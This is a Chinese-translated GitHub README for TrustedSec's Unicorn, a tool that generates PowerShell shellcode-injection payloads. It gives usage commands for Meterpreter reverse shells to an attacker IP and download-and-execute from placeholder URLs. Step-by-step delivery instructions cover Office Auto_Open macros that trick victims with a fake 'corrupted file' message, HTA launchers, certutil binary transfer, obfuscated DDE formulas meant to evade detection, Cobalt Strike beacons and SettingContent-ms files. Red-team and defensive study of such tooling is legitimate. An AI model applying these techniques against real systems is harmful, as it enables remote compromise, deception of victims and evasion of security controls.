trustedsec/unicorn

GitHub: trustedsec/unicorn

TrustedSec 出品的 PowerShell 攻击载荷生成工具,用于创建绕过防御的内存注入攻击向量。

Stars: 3916 | Forks: 822

# unicorn 作者:Dave Kennedy (@HackingDave) 网站:https://www.trustedsec.com Magic Unicorn 是一个简单的工具,用于执行 PowerShell 降级攻击,并将 shellcode 直接注入内存。它基于 Matthew Graeber 的 PowerShell 攻击技术,以及 David Kennedy (TrustedSec) 和 Josh Kelly 在 Defcon 18 上展示的 PowerShell 绕过技术。 使用方法很简单,只需运行 Magic Unicorn(如果使用 Metasploit 方法,请确保已安装 Metasploit 且路径配置正确),magic unicorn 就会自动生成一个 PowerShell 命令,您只需将这段 PowerShell 代码剪切并粘贴到命令行窗口中,或通过 payload 投递系统执行即可。Unicorn 支持自定义 shellcode、cobalt strike 以及 Metasploit。 ``` root@rel1k:~/Desktop# python unicorn.py ,/ // ,// ___ /| |// `__/\_ --(/|___/-/ \|\_-\___ __-_`- /-/ \. |\_-___,-\_____--/_)' ) \ \ -_ / __ \( `( __`\| `\__| |\)\ ) /(/| ,._____., ',--//-| \ | ' / / __. \, / /,---| \ / / / _. \ \ `/`_/ _,' | | | | ( ( \ | ,/\'__/'/ | | | \ \`--, `_/_------______/ \( )/ | | \ \_. \, \___/\ | | \_ \ \ \ \ \ \_ \ \ / \ \ \ \._ \__ \_| | \ \ \___ \ \ | \ \__ \__ \ \_ | \ | | \_____ \ ____ | | | \ \__ ---' .__\ | | | \ \__ --- / ) | \ / \ \____/ / ()( \ `---_ /| \__________/(,--__ \_________. | ./ | | \ \ `---_\--, \ \_,./ | | \ \_ ` \ /`---_______-\ \\ / \ \.___,`| / \ \\ \ \ | \_ \| \ ( |: | \ \ \ | / / | ; \ \ \ \ ( `_' \ | \. \ \. \ `__/ | | \ \ \. \ | | \ \ \ \ ( ) \ | \ | | | | \ \ \ I ` ( __; ( _; ('-_'; |___\ \___: \___: aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc= -------------------- Magic Unicorn Attack Vector ----------------------------- Native x86 powershell injection attacks on any Windows platform. Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com) Twitter: @TrustedSec, @HackingDave Credits: Matthew Graeber, Justin Elze, Chris Gates Happy Magic Unicorns. Usage: python unicorn.py payload reverse_ipaddr port PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py cs macro Macro Example Shellcode: python unicorn.py shellcode macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA Example CS: python unicorn.py cs hta HTA Example Shellcode: python unicorn.py : shellcode hta DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py crt Custom PS1 Example: python unicorn.py Custom PS1 Example: python unicorn.py macro 500 Cobalt Strike Example: python unicorn.py cs (export CS in C# format) Custom Shellcode: python unicorn.py shellcode (formatted 0x00) Help Menu: python unicorn.py --help ``` ### -----POWERSHELL 攻击说明---- 现在所有内容都会生成在两个文件中:powershell_attack.txt 和 unicorn.rc。该文本文件包含了将 PowerShell 攻击注入内存所需的所有代码。请注意,您需要一个支持某种形式远程命令注入的场所。通常这可以通过 Excel/Word 文档,或者通过 Metasploit、SQLi 等内部的 psexec_commands 来实现。使用此攻击的场景和可能性非常多。只需将 powershell_attack.txt 命令粘贴到任何命令提示符窗口中,或者在您能够调用 powershell 可执行文件的地方执行,它就会给您返回一个 shell。除了 Meterpreter payload 之外,此攻击还支持将 windows/download_exec 作为 payload 方法。使用 download and exec 时,只需输入 `python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe`,powershell 代码就会下载该 payload 并执行。 请注意,您需要启用一个 listener 才能捕获攻击。 ### -----宏攻击说明---- 对于宏攻击,您需要依次点击“文件”、“属性”、“功能区”,然后勾选“开发者”。完成此操作后,您将会看到一个开发者选项卡。创建一个新的宏,将其命名为 Auto_Open,然后将生成的代码粘贴到其中。它会自动运行。请注意,系统会提示用户一条消息,指出文件已损坏,并自动关闭该 Excel 文档。这是正常行为!这是为了欺骗受害者,让他们误以为该 Excel 文档已损坏。之后,您应该能通过 powershell 注入获得一个 shell。 如果您要针对 Office365/2016+ 版本的 Word 部署此攻击,您需要将输出的第一行从:Sub Auto_Open() 修改为:Sub AutoOpen() 并且宏本身的名称也必须是“AutoOpen”,而不是旧版的“Auto_Open”命名方式。 注意:在复制和粘贴到 EXCEL 时,如果系统自动添加了多余的空格,您必须删除变量 "x" 下每个 POWERSHELL 代码段后面的这些空格,否则会发生语法错误! ### -----HTA 攻击说明---- HTA 攻击会自动生成两个文件,第一个是 index.html,它会指示浏览器调用 Launcher.hta,该文件包含了恶意的 powershell 注入代码。所有文件都会被导出到 hta_access/ 文件夹中,其中包含三个主要文件。第一个是 index.html,第二个是 Launcher.hta,最后一个是 unicorn.rc 文件。您可以运行 `msfconsole -r unicorn.rc` 来启动 Metasploit 的 listener。 在使用 HTA 攻击时,用户必须点击允许并接受,powershell 注入才能正常工作。 ### -----CERTUTIL 攻击说明---- certutil 攻击向量由 Matthew Graeber (@mattifestation) 发现,它允许您提取一个二进制文件,将其转换为 base64 格式,然后在受害机器上使用 certutil 将其重新转换为二进制文件。这几乎可以在任何系统上运行,并允许您通过伪造的证书文件将二进制文件传输到受害机器上。要使用此攻击,只需将一个可执行文件放在 unicorn 的路径下,然后运行 `python unicorn.py crt` 即可获得 base64 输出。完成后,进入包含相关文件的 decode_attack/ 文件夹。其中的 .bat 文件是可以在 Windows 机器上运行的命令,用于将其重新转换为二进制文件。 ### -----自定义 PS1 攻击说明---- 此攻击方法允许您将任何 PowerShell 文件 (.ps1) 转换为编码命令或宏。 请注意,如果选择宏选项,过大的 ps1 文件可能会超出 VBA 允许的回车符数量限制。您可以通过传递一个整数作为参数,来修改每个 VBA 字符串中的字符数量。 示例: ``` python unicorn.py harmless.ps1 python unicorn.py myfile.ps1 macro python unicorn.py muahahaha.ps1 macro 500 ``` 最后一种示例将使用 500 字符的字符串,而不是默认的 380 字符,从而减少 VBA 中的回车符数量。 ### -----DDE Office COM 攻击说明---- 此攻击向量将生成 DDEAUTO 公式,以便放置到 Word 或 Excel 中。COM 对象 DDEInitilize 和 DDEExecute 允许直接在 Office 中创建公式,这使得在不需要宏的情况下即可实现远程代码执行。此攻击已被记录在案,完整的说明可以在以下地址找到: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ 要使用此攻击,请运行以下示例: ``` python unicorn.py dde python unicorn.py windows/meterpreter/reverse_https 192.168.5.5 443 dde ``` 生成后,将会生成一个包含 Office 代码的 powershell_attack.txt 文件,以及一个作为 listener 组件的 unicorn.rc 文件,可以通过 `msfconsole -r unicorn.rc` 调用以处理 payload 的 listener。此外,还会导出一个 download.ps1 文件(将在后文章节中说明)。 作为应用 payload 的示例(摘自 sensepost 的文章): 1. 打开 Word 2. 插入选项卡 -> 快速部件 -> 域 3. 选择 = (Formula) 并点击确定。 4. 插入域后,您现在应该会看到 "!Unexpected End of Formula" 5. 右键点击该域,选择"切换域代码" 6. 粘贴来自 Unicorn 的代码 7. 保存 Word 文档。 一旦打开该 Office 文档,您就应该能通过 powershell 注入收到一个 shell。请注意,DDE 对字符大小有限制,我们需要使用 Invoke-Expression (IEX) 作为下载方法。由于大小受到限制,DDE 攻击将尝试下载 download.ps1,也就是我们的 powershell 注入攻击文件。您需要将 download.ps1 移动到受害机器可以访问的位置。这意味着您需要将 download.ps1 托管在受害机器能够访问的 Apache2 目录中。 您可能会注意到某些命令使用了 "{ QUOTE",这是一种混淆特定命令的方法,相关文档记录如下:http://staaldraad.github.io/2017/10/23/msword-field-codes/。在这种情况下,我们更改了 WindowsPowerShell、powershell.exe 和 IEX 以规避检测。同时也请查看该 URL,其中包含了一些完全不需要调用 DDE 的绝佳方法。 ### -----导入 Cobalt Strike Beacon---- 此方法将直接从 Cobalt Strike 中导入 Cobalt Strike Beacon shellcode。 在 Cobalt Strike 中,导出 Cobalt Strike "CS" (C#) 格式的文件并将其保存。例如,将该文件命名为 cobalt_strike_file.cs。 导出的代码大致如下所示: * length: 836 bytes */ byte[] buf = new byte[836] { 0xfc, 等等 接下来是使用方法: ``` python unicorn.py cobalt_strike_file.cs cs ``` cs 参数告诉 Unicorn 您要使用 Cobalt strike 功能。剩下的就是见证奇迹的时刻了。 接下来,只需将 powershell 命令复制到您具有远程命令执行能力的地方即可。 注意:文件必须在 COBALT STRIKE 中以 C# (CS) 格式导出,才能被正确解析。 这种攻击方式有一些注意事项。请注意,payload 大小会略大于 14k+ 字节。这意味着从命令行参数的角度来看,如果您采用复制粘贴的方式,将会触及 8191 的字符大小限制(这是 cmd.exe 中硬编码的)。如果您直接从 cmd.exe 启动,这将是一个问题;但是如果您直接从 PowerShell 或其他普通应用程序启动,这就不是问题了。 这里有几个示例,wscript.shell 和 powershell 使用的是 USHORT 类型 - 大小限制为 65535 / 2 = 32767: ``` typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; ``` 对于这种攻击,如果您直接从 powershell、VBSCript (WSCRIPT.SHELL) 启动,则没有任何问题。 ### -----自定义 Shellcode 生成方法---- 此方法允许您将自己的 shellcode 插入到 Unicorn 攻击中。PowerShell 代码将扩大 powershell.exe 的栈空间(通过 VirtualAlloc)并将其注入内存。 请注意,要使其正常工作,您指定给 Unicorn 的 txt 文件必须按以下格式排版,否则将无法运行: 0x00,0x00,0x00 等等。 还需要注意的是存在大小限制。PowerShell 命令的总长度大小不能超过 8191。这是 Windows 中命令行参数的最大大小限制。 用法: ``` python unicorn.py shellcode_formatted_properly.txt shellcode ``` 接下来,只需将 powershell 命令复制到您具有远程命令执行能力的地方即可。 注意:该 TXT 文件必须正确格式化为 0x00,0x00,0x00 的形式,并且除了您的 SHELLCODE 外,不能包含任何其他内容。 这种攻击方式有一些注意事项。请注意,如果您的 payload 本身尺寸较大,它将无法装入 cmd.exe。这意味着从命令行参数的角度来看,如果您采用复制粘贴的方式,将会触及 8191 的字符大小限制(这是 cmd.exe 中硬编码的)。如果您直接从 cmd.exe 启动,这将是一个问题;但是如果您直接从 PowerShell 或其他普通应用程序启动,这就不是问题了。 这里有几个示例,wscript.shell 和 powershell 使用的是 USHORT 类型 - 大小限制为 65535 / 2 = 32767: ``` typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING; ``` 对于这种攻击,如果您直接从 powershell、VBSCript (WSCRIPT.SHELL) 启动,则没有任何问题。 ### -----SettingContent-ms 扩展方法---- 首先,如果您还没看过,强烈建议您去阅读 Matt Nelson (enigma0x3) 发布在优秀的 SpectreOps 博客上的文章: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 此方法使用了一种名为 ".SettingContent-ms" 的特定文件类型,它不仅支持从浏览器直接加载(打开 + 命令执行),还支持作为扩展类型嵌入到 Office 产品中。这里我们将专门针对 Unicorn 的 PowerShell 攻击向量中的扩展类型设置,以实现命令执行。 此攻击向量支持多种方法。由于此攻击的字符大小有限制,因此部署方式采用的是 HTA。 要详细了解如何将此攻击武器化,请访问: https://www.trustedsec.com/2018/06/weaponizing-settingcontent/ 要完成此攻击,您需要通过独立文件或 hta 方式生成您的 .SettingContent-ms 文件。HTA 方法支持 Metasploit、Cobalt Strike 和直接的 shellcode 攻击。 以下是四种使用方法: HTA SettingContent-ms Metasploit: `python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms` HTA 示例 SettingContent-ms: `python unicorn.py : shellcode ms` 生成 .SettingContent-ms: `python unicorn.py ms` 第一种是 Metasploit payload,第二种是 Cobalt Strike,第三种是您自己的 shellcode,第四种仅仅是一个空白的 .SettingContent-ms 文件。 所有内容生成完毕后,它会导出一个名为 Standalone_NoASR.SettingContent-ms 的文件,该文件要么位于默认的 Unicorn 根目录下(如果使用独立文件生成模式),要么位于 hta_attack/ 文件夹下。您需要编辑 Standalone_NoASR.SettingContent-ms 文件,并将: REPLACECOOLSTUFFHERE 替换为: mshta http://: shellcode ms python unicorn.py ms ```
标签:AI合规, DNS 反向解析, IPv6, OpenCanary, PowerShell, Shellcode注入, 攻击载荷生成, 逆向工具